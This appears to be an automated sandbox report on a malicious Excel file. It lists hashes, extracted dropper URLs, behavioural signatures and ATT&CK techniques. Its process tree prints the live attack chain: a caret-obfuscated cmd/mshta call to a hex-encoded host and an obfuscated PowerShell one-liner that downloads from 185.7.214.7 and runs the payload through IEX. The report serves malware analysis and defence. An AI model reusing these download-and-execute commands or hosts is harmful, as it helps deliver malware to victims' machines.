5b375b073c39b03e9ccf40dc5fa4651bb2e28721896d5abc68a3886e2dd691a7

General

Target
020b5ecc0e077344f7eafb0b80fedd30.xls
Size 127KB
Sample220118-mz5tpsagf4
SHA256 5b375b073c39b03e9ccf40dc5fa4651bb2e28721896d5abc68a3886e2dd691a7
MD5 020b5ecc0e077344f7eafb0b80fedd30
SHA1 1c27d19cd02fd189205446380cf08a9ec6e33b32
SHA512 77b5dcbe10536daad8cdcc69336b4e0d60e098bdb621428d597ecc8d792ba03ce5e7dfbe2c042184b83dc84075de4ae45f634988fa9ce431ff3b8f26a58e380a
MD5 SHA1 SHA512

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper
http://0xb907d607/cc.html

Extracted

Language

ps1

Deobfuscated

Source

URLs

ps1.dropper
http://185.7.214.7/PP91.PNG

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	1216	2440	cmd.exe	51

Blocklisted process makes network request 1 IoCs

flow	pid	Process
16	2000	mshta.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
3272	2000	WerFault.exe	55

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2440	EXCEL.EXE

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
2440	EXCEL.EXE
2440	EXCEL.EXE
2440	EXCEL.EXE
2440	EXCEL.EXE
2440	EXCEL.EXE
2440	EXCEL.EXE
2440	EXCEL.EXE
2440	EXCEL.EXE
2440	EXCEL.EXE
2440	EXCEL.EXE
2440	EXCEL.EXE
2440	EXCEL.EXE

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 2440 wrote to memory of 1216	2440	EXCEL.EXE	53
PID 2440 wrote to memory of 1216	2440	EXCEL.EXE	53
PID 1216 wrote to memory of 2000	1216	cmd.exe	55
PID 1216 wrote to memory of 2000	1216	cmd.exe	55

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\020b5ecc0e077344f7eafb0b80fedd30.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2440
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/c^c.h^tm^l
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:1216
- - C:\Windows\system32\mshta.exe
    mshta http://0xb907d607/cc.html
    3⤵
    - Blocklisted process makes network request
    PID:2000
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/PP91.PNG'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
      4⤵
      PID:792
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 2000 -s 1556
      4⤵
      Program crash
      PID:3272

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 408 -p 2000 -ip 2000
1⤵
PID:3664

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

3

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/2440-133-0x00007FF901590000-0x00007FF9015A0000-memory.dmp

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memory/2440-134-0x00007FF901590000-0x00007FF9015A0000-memory.dmp

Download

memory/2440-135-0x00007FF901590000-0x00007FF9015A0000-memory.dmp

Download

memory/2440-136-0x00007FF901590000-0x00007FF9015A0000-memory.dmp

Download

memory/2440-137-0x00007FF901590000-0x00007FF9015A0000-memory.dmp

Download

memory/2440-140-0x00007FF8FF370000-0x00007FF8FF380000-memory.dmp

Download

memory/2440-141-0x00007FF8FF370000-0x00007FF8FF380000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads